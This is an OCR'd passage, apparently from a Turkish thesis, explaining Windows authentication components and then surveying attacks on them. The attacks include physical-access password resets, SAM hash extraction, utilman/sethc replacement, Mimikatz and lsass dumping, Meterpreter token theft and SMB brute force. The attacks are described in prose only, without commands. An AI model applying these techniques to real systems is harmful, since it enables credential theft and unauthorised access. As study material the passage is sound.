SAM ve SYSTEM ise yerel kullanicilarin kimlik bilgilerini barindirirken NTDS.dit ise
bir nevi active directory’nin veri tabanidir. Konu alt bagliklar seklinde asagida ki gibi

aciklanmigtir.

1.2.1 Giivenlik Bilegenleri

Windows igletim sistemi sunucularda etki alani ile kullanicilar: bir araya getirerek SID
(Security Identifier) degerlerleri ile birbirinden ayririr. SAT (Security Access Token) ise
kullanic1 veya gruplarin yetkilerini barindirir. SAM ve SYSTEM ise yerel kullanicilarin
kimlik bilgilerini barmndirir. NTDS.dit ise bir nevi active directory’nin veri tabanidir.

Konu alt baghklar gseklinde agagida ki gibi agiklanmigtir.

1.2.1.1 Windows Ortaminda Etki Alan1 (Domain)

(esitli sunucu-igletim sistemlerinin altinda ayni isim ile bir araya getirilen, cihazlarin bii-
tiin SID degerlerini bir arada tutan, merkezi olarak yonetilen ve network iletigim yetenegi
olan nesnelerin olugturdugu bir yapidir. Bu nesneler digardan herhangi bir yetkiye sa-
hip degiller. Herhangi bir giivenlik ayarlarini disaridan alamazlar. Bu ayarlar ve yetkiler

bulunduklar: etki alani cercevesindedir.

Caligma gruplar ile degerlendirildiginde en 6ne gikan &zelligi giivenliktir. Katilabilmek
igin bilgisayar ayarlarindan iiyelik kismindan ilgili etki alaninin ismi yazilarak dahil olu-

nur. Ancak bir yoneticinin onay vermesi gerekmektedir.

Aymni giivenlik ayarlarinin gecerli oldugu iiyeler aras: yetkiler dagitilabildigi icin Microsoft
bundan dolay: etki alanina giivenlik simir1 (security boundary) demistir. Etki alaninin di-
sinda ki bir bilgisayar etki alanina iiye olmadikc¢a etki alanin kapsamindan yararlanamaz.
Ayni gekilde etki alani iginde olan bir bilgisayar digaridaki bagka bir agdan veya yapidan

yetki veya ayar degigimine gidemez.

Etki alam kendi bagima birakilamayacagindan etki alanini yoneten yonetici veya yone-
tici gruplart mevcuttur. Yonetmedeki gorevleri; etki alanina bilgisayar ekleme cikarma,
kullanic1 olugturma ve silme, kullanicidan yetki alma veya vermektir. Bu gérev veya ig-

lemleri Etki alani denetleyicileri (DC) tarafindan gergeklegtirilir. Bu denetleyiciler, etki
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alaninda ki biitiin nesnelerin bilgilerini barindiklarindan dolay: ortak bir veritabani go-
revi gormekteler. Bu kadar nesneyi bir arada tuttuklarindan dolay1 merkezi bir yapilar
mevcut olup bu merkezi yapidan kendisi iizerinde bulunan biitiin nesnelerin yénetimi de

cok kolay olmaktadir [5].

1.2.1.2 Windows Ortaminda Galisma Gruplar1 (Workgroups)

Workgroups olarak adlandirilan ¢aligma gruplar: bagimsiz bilgisayarlarin bir arada olug-
turduklar: bir ag yapisidir. Bagimsiz olundugundan her bilgisayarin kendi yerel yonetici,
kullanicilar: ve gruplar: mevcuttur. Bundan dolay: her bir bilgisayarin kendisine ait kul-
lanict ve gruplarinin mevcut oldugu veritabani vardir. Ortak etki alanlar: olmadigindan
veya herhangi bir bilgisayarda Etki Alanmi Denetleyicisi bulunmadigindan merkezi bir
yapilar: yoktur. Bundan dolay: bir bilgisayarin kullanicisi1 veya grubu bagka bir bilgisa-
yarin veritabaninda bulunmaz, paylagimlar kullanici bazli olamaz, ayr1 makinalarda ayni

isimde kullanici bulunsa dahi ayni1 SID degerine sahip degildirler.

Caligma gruplarinda kendi bilgisayarlarinin yerel yoneticisi olduklarindan bilgisayarla-
rinda istedigi degigikligi yapabilirler. Caligma gruplarinda genellikle sistem yoneticiligini
yapan bir kigi her bilgisayarda bir yonetici hesab1 bulundurur. Giivenlik agisindan her bir
yonetici hesabinin gifreleri farkli uygulanir. Bu durumda bir bilgisayar ele gecirildiginde

digerlerine sigrama zor olmaktadir.

Bir caligma grubunda bilgisayar sayisi ¢ogaldik¢a yonetim o kadar zorlagir. Genelde bu

say1 elli ile sinirlandirilir.

Sakincali yonleri ise; tamamen kontrol edilemediklerinden, rastgele program yiiklemeleri,
istedikleri sitelere girmeleri gibi kontrol edilemez bir yonii mevcuttur. Bu durumda ken-
disi ile birlikte bir takim sakincalarin dogmasina sebep olacaktir. Belli bir siire sonra bu

durum yonetilemez hale gelmektedir [5].

1.2.1.3 Security Identifier (SID)

Security Identifier (SID), Windows igletim sistemlerinde bilgisayarlara, servislere veya
giivenlik grubuna verilen egsiz bir degerdir. Biitiin Windows igletim sistemlerinde default

olarak bulunan Admin veya Guest hesabi gibi genel kullanicilar yada genel gruplarin
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SID’leri tammbhdir. Isletim sistemleri kullamcilarm isimlerini veya kullanici adlar ile
bilmezler. Tamamen SID numarasi ile bilirler. Kulllanici silinip yeniden ayni isimle ta-
nimlanirsa SID farkli olacaktir. Cilinkii kullanici silindiginde SID ile birlikte silinir. Bu
ylizden ayni kullanici ilk 6nce ki SID’1 alamaz. SID’ler LSA tarafindan olugturulur, Kayit
defterinde saklanilir. SAM kadar giivenlidirler.

Ornek;

500 Administrator
501 Guest

512 Domain Admins

SID degeri gercek yasamla kiyaslandiginda insanlarm T.C. numaras: gibidir [6][5].

1.2.1.4 Security Access Token (SAT)

Genellikle Windows igletim sistemlerinde oturum agan kullaniciyr tanimlamak, kullanic
gruplarini ve haklarini belirlemek gibi gorevleri yerine getirmede Security Access Token
(SAT) kullanilir. Kimligi dogrulanan kullanici igin bir jeton (token) olugturup ve bu

jetonun bir kopyasim kullanicinin ¢aligtiracag iglemci ve ig pargaciklara (thread) ekler.

Isletim sistemindeki kullanici yetkilerinin durumu ve uygulanabilirligi hangi yetkide ol-
dugu vs durumlar jeton i¢inde saklidir. Herhangi bir kullanici igleminde kullaniciya ait
jetona bakilarak yetkileri dogrultusunda iglemin gerceklesip gergeklesgtirilmeyecegi belir-

lenir [5].

1.2.1.5 SAM/SYSTEM

SAM ve SYSTEM dosyalar1 %SystemRoot%\System32\Config dizinin altinda bulunur.

Windows igletim sistemlerinin yerel kullanici bilgilerinin sakli olduklar1 dosyalardir.

Kullanic1 hesaplarina ait bilgiler SAM (Security Account Manager) dosyasinda tutu-
lur. Igletim sistemi calisiyor iken hicbir gekilde bu dosyalara miidahale edilememektedir
(Ozellikle "Tehditler ve Saldirilar" béliimde anlatilan ataklar disinda). Ciinkii Windows

caligtigr siirece bu dosyalar: kendi kontroliinde tutar.
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Bir ¢ok verinin tutuldugu ve 6zellikle SAM dosyasinda tutulan kullanici parolalarin gif-
relemesinde kullanilan SYKES dahil olmak {izere SYSTEM dosyalarinda tutulur. SAM
dosyasinda parolalar 6zet olarak tutulur, giivenlik nedeni ile kesinlikle acik tutulmazlar.
Ozet olarak tutulan parolalarmn 6zetlemesinde igletim sisteminin versiyonuna bagh olarak
LM veya NTLM yada her ikisinin 6zeti ile 6zetlenir ve SYKES tarafindan sifrelenerek

SAM veritabaninda tutulurlar.
SAM veritabaninda default olarak admin ve guest kullanicilari mevcuttur.

Yerel bilgisayarlar diginda etki alani denetleyicilerinde de SAM veri tabani mevcuttur.
Bu veritabaninda ise Directory Services Restore Mode’de kullanilan kullanicilarin bilgileri

bulunmaktadir [5].

1.2.1.6 NTDS.dit

NTDS.dit Aktif Dizin'nin veritabamdir. Aktif Dizin’de olugturulan her bir obje (Etki
alan1 kullanic1 bilgileri, DNS kayitlari, Genel katalog vs) NTDS.dit’te kaydedilir. LDAP
ile yapilan sorgulamalar Aktif Dizin tarafindan olusturulan objelerde arama yapar dola-

yisi ile bu objeler NTDS.dit’te oldugundan bu arama NTDS.dit iizerinde gergeklegir.

1.2.1.7 SMB

SMB (Server Message Block) NETBIOS mimarisinde bir network protokoliidiir. Sunucu
iletimi blogu anlamina gelmektedir. Network protokolii olarak sunucu ile istemci arasinda
iletisimi gerceklestirir. Ozellikle yapilan dizin paylasimlarinda; paralel ve seri port pay-
lagimlarinda, bununla birlikte yazici ve yazici benzeri donanimlarda ag baglantilarinin
paylagimlarinda kullanilmaktadir. Ortaya cikan giivenlik zafiyetlerinden dolayr SMBI,
SMB2 ve SMB3 versiyonlar: ¢ikmigtirsambal.

1.2.2 Islemciler (Processes)

Windows igletim sistemlerinde kimlik dogrulama yapilirken cesitli iglemciler, kullanici

islemlerinde goérev yapmaktadir. Baglica bu iglemciler agagida ki gibi verilmigtir.
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1.2.2.1 Smss

SMSS %SystemRoot% | System32|smss.exe dizinin altinda olup oturum yoneticisi ola-
rak ge¢mektedir. Yonetici bilgisayarda oturum agtiginda smss.exe oturum yoneticisi ola-
rak acilir. Windows igletim sisteminin baglangic islemcisi olan smss.exe 6zet olarak; ilk
once iki farkli oturum olugtur, bu oturumlardan ilki oturum baglatmak i¢in kullandig:
wininit.exe, sonra oturumu a¢mak i¢in kullandigi winlogon.exe’dir. Bu iki iglem koor-
dineli olarak gerceklegtirilir. Ayrica gevresel degiskenlerin olugturulmasi, Regeditte bu-
lunan HKLM | System | CurrentControlSet| Control| Session Manager|SubSystems alt sis-
temlerin ve crss.exe iglemcisininde baglatilmasi1 gibi temel gorevleri varidir. Gergekles-
tirdigi diger bir islem ise HKLM|SYSTEM | CurrentControlSet| Control|Session Mana-

ger|autochk.exe galigtirmasidir[9].

1.2.2.2 Winlogon

Winlogon.exe windir% | System32 dizininin altinda olup SYSTEM haklar ile ¢caligir. Kul-
lanicilarin giivenli etkilegimlerini yonetme, oturum acma ve kapatma iglemlerinin gergek-
lestirilmesi, Logon Ul iglemcisini olugturmak ve bu iglemci herhangi bir nedenden dolay:
kapandiginda tekrar baglatmasi, Lssas iglemcisinin ¢agrilarak kimlik dogrulama iglemi-
nin yapilmasi, oturum kilitleme, kapatma, sifre degistirme, kilitli oturumun acilmas: gibi
iglemlerin gerceklegtirilmesini koordine eder. Winlogon.exe tarafindan gerceklegtirilen ve

koordine edilen iglemlerin yetkisiz bir iglemcinin okumasini engeller [10].

1.2.2.3 Logon Ul

Ozet olarak iglemciler arasi sorunlar1 ¢ozerek sorunsuz bir caligma ortami saglar. Bununla
birlikte baglica gorevi kimlik bilgi saglayicilarinin (Credential Provider) yiiklenmesini,
oturum agma kapama iglemlerinde grafik arayiiziiniin getirilmesini saglar. Winlogon.exe
tarafindan olusturulan bir iglemcidir. Regeditteki etkin olan kimlik bilgi saglayicilari-
nin listesini alir ve bu listede ki her bir saglayiciya winlogonun belirtitgi arayiiz grafik

bilegenlerini verir. Ornegin; bu bilegenler buton, textbox, layer, vs olabilir [10].
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1.2.2.4 Lsass

Kullanicilar oturum agarlarken bu sirada kimlik bilgilerinin dogrulugunu kontrol eden
ve dogrulayan iglemcidir. Yerel giivenlik ilkelerinin kullanicilar iizerinde uygular, kul-
lancinin parola degigtirimesinde rol alir. Kullanicilarin yetkileri cercevesinde kullaniciya
token olugturur. Gorevinden kaynakli bir durum meydanda geldiginde bu durumu olay

giinliigiine (Event Viewer) yazan bir islemcidir |11].

1.2.2.5 Csrss

%SystemRoot% | System32 dizinin altinda bulunur ve SYSTEM yetkilerinde ¢aligir. Win32
konsolu ve Thread’lerin kontroliinii saglar. Genellikle kullanici modunda gerceklegen go-
revlerin, cekirdek moduna erigmesini engeller. Tek bir oturumu oldugundan dolay: sis-
temde Csrss.exe’nin galigan bagka bir iglemci mevcut ise muhtemelen zararh yazilimdir.
Windows Isletim sistemlerinin bir ¢ok siiriimiinde kullanildigindan saldirganlar tarafin-

dan tercih edilen bir iglemcidir [9].

1.2.2.6 Credential Ul

Credential Ul Windows igletim sisteminde kimlik bilgilerinin yénetimini saglar. Kullanici
bilgilerini alir ve kimlik dogrulamak icin karsilagtirma yapar. Ornegin; etki alanina dahil
edilmig bir bilgisayar1 Etki Alan1 Denetleyicisinde (DC) dogrulugunu kontrol eder. Bu
kontrol esnasinda kimlik dogrulamasi icin kontroliinii sagladig1 argiimanlar; parola, PIN,

sertifika gibi kullamci kimliginin iligkilendirildigi dijital verilerdir [10].

Genel olarak caligan iglemciler Sekil 1.9 {izerinde goriildiigii gibidir.
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Tehditler ve Saldirilar

2.1 Fiziksel Giivenligi Atlatma

Sirket ve kurumlarin, bilgisayar ve bilgisayar grubundaki donanimlari, 6zellikle veri ba-
kimindan kritik onem derecesindedir. Windows igletim sistemleri ve etki alaninin en

baginda gelen tehditlerinden biri fiziksel giivenligi atlatmadir.

Fiziksel giivenlik atlatilarak bilgisayarlarin disk sistemlerine veya veri depolama boliimle-
rine ulagilabilmektedir. Fiziksel olarak ulagilan bir bilgisayarin, igletim sistemine ulagmak
igin bir¢ok yontem mevcuttur. USB veya CD-ROM’dan c¢aligan live igletim sistemi ile
fiziksel giivenlik olarak atlatilan bilgisayarin igletim sisteminde gerekli degigiklikler sag-
lanarak istenilen sonuca ulagilabilmektedir. Benzer yontemle fiziksel olarak ulagilan bil-
gisayarin, igletim sistemi yiiklii diski disk port ¢oklayici(dock station) benzeri bir aragla,
caligan igletim sistemine takildiginda hedef igletim sistemine ulagim saglanir ve birkag

degigiklikle istenen sonuca ulagilabilir.

Farkli bir yontem olarak, igletim sistemi BIOS’tan boot kismi gifrelenmemigse veya sifre
atlatilabiliyorsa boot edilerek istenen sonuca ulagilabilir. Bahsedilen bu durum detayl

olarak konu 2.1.1 ve gekil A.1 {izerinde anlatilmigtir.

Temel olarak asagidaki saldir1 teknik ve yontemler kullanilabilir.

23
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2.1.1 Tak Caligtir(Live CD)/USB Bellek ile A¢gma

Sanal makina dosyalarina ya da fiziksel olarak erigimi saglanan igletim sistemleri iginde
barindirilan dosya ve dizinlere Live CD ya da USB Bellek kullanilarak erigmek miimkiin-
diir. Bu iglemi gerceklegtirmek icin igletim sisteminin yeniden baglatilmas: ya da kapali
iken acilmasi, sonrasinda gerekiyorsa BIOS’tan Live CD ve USB Bellekten baglatma se-
cenegi aktive edilerek igletim sistemi dosyalarinin bulundugu saklama alaninin (disk vs.)
igerigine erigim saglanabilir. Saldir1 detaylar1 ekran giktilar: ile birlikte EK A.1 konusunda

verilmigtir.

2.1.2 Parola Ozetlerini igeren Dosyalar ve Bu Ozetleri Elde Etme

Windows isletim sistemlerinin SAM ve SYSTEM dosyalarinda yerel kullanicilarin hesap
bilgileri mevcuttur. Ayni gekilde sunucularda aktif dizinin veritabani olan NTDS.dit dos-
yast etki alani kullanicilarinin bilgilerini saklar. Windows igletim sistemli veya kullanici
kaynakli olugan tehditler sonucu yapilan saldirilarda bu dosyalar ele gecirilerek kulla-
nic1 hesap 6zetlerine ulagilir. Bu dosyalar hakkinda daha detayli bilgi Konu 1.2.1’de yer

almaktadir.

2.1.2.1 Samdump2 ve Bkhive Araclar ile Yerel Kullanic1 Parola Ozetlerini
Elde Etme

Fiziksel olarak ulagilabilen bir bilgisayardan elde edilen ‘SAM’ ve ‘SYSTEM’ dosyalarin-
dan ‘samdump2’ ve ‘bkhive’ araglari ile yerel kullanicilarin parola 6zetleri elde edilebi-
lemktedir. EK A.1 konusunda anlatildig1 {izere ‘SAM’ ve ‘SYSTEM’ dosyalar: elde edilir.
Saldir1 detaylar1 ekran g¢iktilar: ile birlikte EK A.2 ’de verilmigtir.

2.1.2.2 Ophcrack Araci ile Yerel Kullanici Parola Ozetlerini Elde Etme

Fiziksel olarak ulagilabilen bir bilgisayardan elde edilen ‘SAM’ ve ‘SYSTEM’ dosya-
lar1 Ophcrack aracina verilerek yerel kullanicilarin parola ozetleri elde edilebilmektedir.
‘SAM’ ve ‘SYSTEM’ dosyalarinin nasil elde edilebildigi EK A.1 ’de verilmigtir. Bu dosya-
lar Ophcrack araci kullanilarak i¢inde bulunan parola ézetleri alinabilir. Saldir1 detaylar

ekran ciktilar ile birlikte EK A.3’te verilmigtir.
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2.1.2.3 Cain & Abel Araci ile SAM ve SYSTEM Dosyalarindan Yerel Kul-

lanicilarin Parola Ozetlerinin Elde Edilmesi

Fiziksel olarak erigim saglanan Windows igletim sistemli bir bilgisayarin ‘SAM’ ve ‘SYS-
TEM’ dosyalar1 EK A.1’de kullanilan yontemler ile elde edilir. Kaynak bilgisayarda ‘Cain
& Abel’ araci ¢ahigtirihir ve dosyalar araca verilir. Arag¢ bu dosyalardan hesap 6zetlerini
okur ve ¢iktisini ekrana verir. Saldir1 detaylari ekran ¢iktilar: ile birlikte EK A.4’te ve-

rilmistir.

2.1.3 Igletim Sistemi Oturumuna / Komut Satirina Erigim

Fiziksel olarak ele gecirilen Windows igletim sistemli bir bilgisayar, EK A.5 veya EK
A.6’da anlatilan benzer bir yontem kullanilarak ‘cmd’ komut satirina ulagilabilir. Erigim
saglanan komut satir1 ile yetkili bir hesap olugturulabilir veya elde edilebilmektedir. Ya
da var olan yetkili hesabin parolast EK A.7’de anlatildig1 yontemler ile sifirlanarak hesap
elde edilmeye caligilir. Bu iglemler igletim sistemli veya kullanici kaynakli olusan tehditler

sonucu, yapilacak saldirilarla agagidaki gibi gerceklegtirilebilmektedir.

2.1.3.1 Windows’u Repair Modunda Basglatma

Windows igletim sistemli bilgisayar diizensiz caligtirilarak repair modunda baglamasi sag-
lanir. Agilirken gerekli yonergeler takip edilerek igletim sistemi dosyalarina ulagilir. Daha
sonra saldir1 amacina yonelik iglemler gergeklegtirilir. Saldir1 detaylar: ekran cgiktilar ile

birlikte EK A.5’te verilmigtir.

2.1.3.2 Utilman.exe ve Sethc.exe Kisayollarin Istismar

Windows igletim sistemine disk seviyesinde erigim sagladiktan sonra ‘Utilman.exe’ ve
‘setch.exe’ gibi Windows uygulamalar: ‘cmd.exe ile’ degigtirilerek igletim sistemine erigim
saglanabilir. Erigim saglanan komut sistemi ile yeni bir kullanici olugturulur ve gerekli
yetkiler verilerek iglem sonuclanir. Saldirt detaylar ekran c¢iktilar ile birlikte EK A.6’da

verilmigtir.
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2.1.3.3 Hirens Boot ile Parola Sifirlama

Bilgisayarin BIOS ayarlarina erigim saglandiktan sonra CD veya USB’den caligacak ge-
kilde ayarlari yapilir. ‘Live CD’ ya da bu ig icin 6zellegmiy ‘Hirens Boot’ gibi araclar
kullanilarak bilgisayarin sabit disk igerigine erigim saglanabilir (disk sifreleme kullanil-
mamigsa). Erigilen disk iizerinden kullanicinin parolasi degigtirilebilir. Saldir1 detaylar:

ekran c¢iktilar: ile birlikte EK A.7’de verilmigtir.

2.1.3.4 CHNTPW ile Parola Sifirlama

Bilgisayarin BIOS ayarlarina erigim saglandiktan sonra CD veya USB’den caligacak ge-
kilde ayarlar: yapilir. Hedef bilgisayar sanal veya Kali igletim sistemi (‘CHNTPW’ yiiklii
Linux tabanl herhangi bir igletim sistemi ile de iglem gerceklegtirilebilir.) ¢aligan CD
tizerinden baglatilir ve disk icerigine erigim saglamir (disk sifreleme kullanilmamigsa).
‘CHNTPW? araci ile ‘SAM’ dosyas1 kullanilarak kullanici parolasi sifirlanabilir. Saldiri
detaylar1 ekran ¢iktilar ile birlikte EK A.8’de verilmigtir.

2.2 Calisan Sistemde SAM/SYSTEM ve Hesap Ozetlerinin
Elde Edilmesi

Windows igletim sistemi ‘SAM’ ve ‘SYSTEM’ dosyalari iizerinden kimlik dogrulama yap-
tigindan dolay: bu dosyalar genelde saldirganlarin hedefindedir. Bu dosylar veya igerisin-
deki ozetler ele gecirildiginde bu bilgilerle bilgisayarda erigim elde edilerek aga yayilmaya
caligilir.

Windows igletim sistemli veya kullanici kaynakl tehditler sonucu yapilan saldirilarda
yerel yonetici haklar ile hesap 6zetlerini elde etme yontemi, temel olarak agagidaki saldir

teknik ve yontemler kullanilarak gerceklestirilir.

2.2.1 Yerel Yonetici Haklar1 ile SAM ve SYSTEM Dosyalarinin Elde

Edilmesi

Windows igletim sistemli bir bilgisayarin oturumu ele gegirilip ve ‘SAM’ dosyas1 alinmak

istendiginde igletim sistemi izin vermemektedir. Ancak bu iglemi komut satir1 aracihigiyla
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kayit defteri {izerinden alinabilir. Saldir1 detaylar1 ekran cgiktilar ile birlikte EK B.1

konusunda verilmigtir.

2.2.2 Cain & Abel ile Yerel Hesaplara Ait Parola Ozetlerinin Elde

edilmesi

Windows igletim sistemli bir bilgisayarin oturumu ele gegcirilip ‘SAM’ ve ‘SYSTEM’ dos-
yalar1 alinmak istendiginde Windows igletim sistemi bu duruma izin vermemektedir.
Ancak bu iglem ‘Cain & Abel’ araci ile gerceklegtirilebilmektedir. Saldir1 detaylari ekran
ciktilar: ile birlikte EK B.2 konusunda verilmigtir.

2.2.3 Hashdump Modiilii ile Parola Ozetlerinin Elde Edilmesi

Konu 2.7 ve 2.9 {izerinde anlatilan saldirilarda sistem ele gecirildikten sonra EK C iize-
rinde yapilan saldirilar yontemi ile gerekli haklar elde edilir. Bu haklar ile yetkili bir
proses iizerinden ‘hashdump’ modiilii ¢aligtirilarak yerel kullanicilara ait hesap 6zetleri

elde edilir. Saldir1 detaylar1 ekran ¢iktilar ile birlikte EK B.3 konusunda verilmigtir.

2.2.4 Hashdump Modiilii ile Yerel Hesap Ozetlerinin Elde Edilmesi

Konu 2.7 ve 2.9 {izerinde anlatilan saldirilarda sistem ele gecirildikten sonra EK C iize-
rinde yapilan saldirilar yontemi ile gerekli haklar elde edilir. Bu haklar ile yetkili bir
proses iizerinden hashdump modiiliinde iken ‘hashdump’ komutu verilerek yerel kulla-
nicilara ait hesap ozetleri elde edilir. Saldir1 detaylar ekran giktilar: ile birlikte EK B.4

konusunda verilmigtir.

2.2.5 Smart Hashdump Modiilii ile Etki Alani Uzerindeki Hesap Ozet-
lerini Elde Etme

Konu 2.7 ve 2.9 iizerinde anlatilan saldirilarda sistem ele gegirildikten sonra EK C iize-
rinde yapilan saldirilar yontemi ile gerekli haklar elde edilir. Bu haklar ile yetkili bir
proses iizerinden ‘smart hashdump’ modiilii ¢aligtirilarak domain ve yerel kullanicilara
ait hesap ozetleri elde edilir. Saldir1 detaylari ekran ciktilar ile birlikte EK B.5 konusunda

verilmigtir.
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2.3 RAM Uzerinde Kayitl Jetonlar:1 Elde Etme

Windows igletim sistemi veya kullanici kaynakli tehditler sonucu yapilan saldirilarda
ulagilmig bir bilgisayarda bulunan tiim jetonlar listelenerek énemli bir hesaba ait (‘Do-
main Admin’ diyeleri gibi) jeton bulunmaya ¢aligihr. Eger ¢alhigmalar sonucunda 6nemli
bir hesap elde edilirse ‘Meterpreter’da ‘steal token’, ‘migrate’ veya ‘incognito’ eklentisi

kullanilarak ilgili hesap kimligine biiriiniilebilir.

RAM iizerinde kayith jetonlar: elde etme konusunda temel olarak agagidaki saldir1 teknik

ve yontemleri kullanilabilir.

2.3.1 Steal Token Modiilii ile Bagka Bir Hesabin Kimligine Biiriinme

Ulagilmasi gereken herhangi bir dosya bagka kullanicinin yetkisindedir. Bu dosyay1 oku-
mak ya da degisiklik yapabilmek icin iizerinde yetkisi bulunan kullanicinin kimligine
biiriinmek gerekir. Bu iglem icin ‘Metasploit’ aracinin ‘steal token’ modiilii ile ulagil-
mas1 gereken dosyaya erigim saglanarak dosya iizerinde okuma yazma hakk: elde edilir.

Saldir1 detaylar1 ekran ciktilar: ile birlikte EK C.1 konusunda verilmigtir.

2.3.2 Migrate Modiilii ile Bagka Bir Hesabin Kimligine Biiriinme

Ulasilmas1 gereken herhangi bir dosya bagka kullanicinin yetkisindedir. Bu dosyay1 oku-
mak ya da lizerinde degisiklik yapabilmek icin dosya iizerinde yetkisi olan kullanicinin
yetkisine biiriinmek gerekir. Bu iglem ‘Metasploit’ aracinin ‘migrate’ modiilii ile ger-
ceklestirilebilir. Oncelikle yetkili kullanicinin prosesleri listelenir. Listelenen proseslerden
yetkili kullaniciya ait uygun bir proses secilir ve ‘migrate’ modiilii ile prosese girilir. Islem
sonucunda ulagilmas1 gereken dosyaya erigim saglanarak dosya {izerinde okuma yazma

hakki elde edilir. Saldir1 detaylar: ekran ciktilar ile birlikte EK C.2 konusunda verilmigtir.

2.3.3 incognito Modiilii ile Bagka Bir Hesabin Kimligine Biiriinme

Bagka kullanicinin yetkisinde olan bir dosyaya erigim saglanarak okuma yazma hakk:
elde edilecektir. Dosyaya erigilerek okuma yada iizerinde degisiklik yapabilmek icin yetkili

olan kullanicinin kimligine biirtinmek gerekir. Bu iglem ‘Metasploit’ aracinin ‘incognito’
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modiilii ile yapilabilir. Sistem zafiyetinden faydalanarak ‘Metasploit’ ile sisteme erigim
saglanir. Sonra yetkili kullanicinin prosesleri ve jetonlar: listelenir. Listelenen jetonlardan
yetkili kullaniciya ait olan jeton ‘incognito’ modiilii ile kullanilarak ilgili dosyada okuma
yazma hakki elde edilir. Saldir1 detaylar1 ekran ciktilar ile birlikte EK C.3 konusunda

verilmigtir.

2.4 RAM Uzerindeki Kayith Parolalar:1 Elde Etme

Windows igletim sistemi veya kullanici kaynakli olusan tehditlere yapilan saldirilarda;
yetkili erigim saglandiktan sonraki adumlardan birisi bellek iizerinden parolalarin agik
halde elde edilmesi adimidir. Bu adimi gerceklegtirmek i¢in ‘Mimikatz’ ve ‘WCE’ araclar

kullanilacaktir. Bu araclara benzer iglemler yapan bircok ara¢ mevcuttur.

‘Mimikatz’ ve ‘WCE’ araclar1 temel olarak bellek iizerindeki kimlik dogrulama paket-
lerinden (authentication packages) kimlik bilgilerini (Parola 6zeti, sifrelenmis parola ve

kullanict adr gibi) okur.

SSP (Security Support Provider) ’ler ile parola bilgisi sifreli bir halde bellekte tutulur
ve Windows igletim sisteminin bir¢ok siirlimiinde varsayilan olarak gelir. Bu yiizden
‘Mimikatz’ ve ‘WCE’ araglar ile 32 bit ve 64 bit isletim sistemlerinden XP, 2003, 2008,
Windows Vista, 7, 8, Server 2008 R2 ve Server 8 caligarak sonu¢ elde edebilmektedir.

RAM iizerindeki kayith parolalar1 elde etme konusunda temel olarak agagidaki saldiri

teknik ve yontemleri kullamilabilir.

2.4.1 Mimikatz Araci ile RAM Uzerindeki Parolanin Acik Halde Elde

Edilmesi

Fiziksel yontemler kullamlarak (Bakimz EK A) veya zafiyetlerden faydalanilarak (Baki-
niz: EK G) ele gegirilmis bir Windows igletim sistemi {izerinde ‘Mimikatz’ aract komut
satirt yardimi ile caligtirilir. Komut satirinda iken gerekli mimikatz komutlar: verilerek
ram iizerinde bulunan Windows igletim sistemi kimlik dogrulama paketlerinden parola
ve kullamic bilgileri ele gegirilir. Saldir1 detaylar1 ekran ciktilar ile birlikte EK D.1 ko-

nusunda verilmigtir.
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2.4.2 WCE Araci ile RAM Uzerindeki Parolanin Ac¢ik Halde Elde Edil-

mesi

Fiziksel yontemler kullanilarak (Bakimz: EK A) veya zafiyetlerden faydalamlarak (Baki-
niz: EK G) ele gegirilmig bir Windows igletim sistemi iizerinde ‘WCE’ araci komut satiri
yardimi ile ¢aligtirihir. ‘WCE’ ¢alhigtirildiktan sonra ram tizerinde bulunan Windows igle-
tim sistemi kimlik dogrulama paketlerinden parola/parola 6zeti ve kullanici bilgileri ele

gegirilir. Saldirn detaylar: ekran ¢iktilar ile birlikte EK D.2 konusunda verilmigtir.

2.4.3 Lsass Prosesine Ait Dump Dosyasindan Mimikatz Araci ile Pa-

rolalarin Elde Edilmesi

Fiziksel yontemler kullanilarak (Bakimz: EK A) veya zafiyetlerden faydalanilarak (Ba-
kimz: EK G) ele gecirilmig bir Windows igletim sistemi iizerinde gérev yoneticisi (task
manager) ¢ahigtirilir. ‘Processes’ lere tiklanip ‘Isass.exe’ bulunur. ‘Lsass.exe’ bulunduk-
tan sonra tizerindeyken sag tiklayip ‘Create Dump File’ segilir ve prosesin dump’i alinir.
Daha sonra bu dump dosyas1 ‘Mimikatz’ aracina verilerek sistem tizerinde oturumu bu-
lunan biitiin kullanicilarin parola ve kullanici bilgileri ele gegirilir. Saldir1 detaylar: ekran

ciktilar: ile birlikte EK D.3 konusunda verilmigtir.

2.5 Parola ve Parola Ozetleri Kullamlarak Bilgisayarda Eri-
sim Elde Etme

Parola ve parola Ozetleri kullanilarak bilgisayarda erigim elde etme konusunda temel

olarak agagidaki saldir1 teknik ve yontemler kullanilabilir.

2.5.1 Hydra Modiilii Kullanilarak Kaba Kuvvet Yontemi ile Kullanici
ve Parola Bilgilerini Elde Etme

Windows igletim sisteminden veya kullanicidan kaynaklanan tehditler sonucu saldirgan-
lar tarafindan yapilan saldirilarda igletim sistemine ait yetkili erisim saglandiktan sonra
(kullamc1 ve parola) kullanilarak bagka bilgisayarlara sizmaya caligirlar. Bu saldirilar

genelde kurum icine yapilmaya calisildiginda saldirgan agdaki Windows igletim sistemli
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bilgisayarlarda TCP/445. Portu agik olan IP iizerinden elde ettigi kullanici adlar ile
parolalar: birlikte ‘Hydra’ aracina vererek ilgili IP’li bilgisayarda oturum a¢mig kullani-
cilarin bilgileri elde edilir. Saldir1 detaylar: ekran ¢iktilar: ile birlikte EK E.1 konusunda

verilmigtir.

2.5.2 SMB login Modiilii Kullanilarak Kaba Kuvvet Y6ntemi ile Pa-

rola ve Parola Ozeti Elde Etme

Kurumlarda genelde bilgisayar igletim sistemleri yiiklenirken dogrudan bir igletim sistemi
yiiklemek ve sonra programlar: tek tek yiliklemek oldukca zaman alan bir durumdur. Bu
yiizden imaj yolu ile daha kisa siirede yapilir. Ancak bu durum bazi acikliklarin meydana

c¢ikmasini sebep olmaktadir.

Imaj olugturulurken yeni bir yerel kullamici eklenir veya Windows igletim sisteminin
default kullanicilar: kullanmilir. Bu kullamicilar icin yeni bir parola eklenir veya default
olarak birakilir. Bu 6zellikteki imaj, kurum veya kuruluglarin hemen hemen biitiin bilgi-
sayarlarina kurulur. Imajda gomiilii kullamc: bilgileri silinmedikce veya degistirilmedikce
imajla kurulumu yapilan biitiin bilgisayarlar bu bilgileri barindirir. Kullanici kaynakh
ve Windows zafiyeti sonucu bu tehdite kargi yapilan saldirilarda ‘Metasploit’ aracinin
‘SMB _login’ modiilii kullanilarak o agdaki biitiin bilgisayarlar ele gecirilebilir. Bu durum
igin 2.1 ve 2.2 konularinda anlatildig: {izere kulanic kimlik bilgileri elde edilmesi gerekir.
Ayrica Nmap tarzi taramalarla ag ici IP’ler de elde edilmelidir. Elde edilen kimlik bilgi-
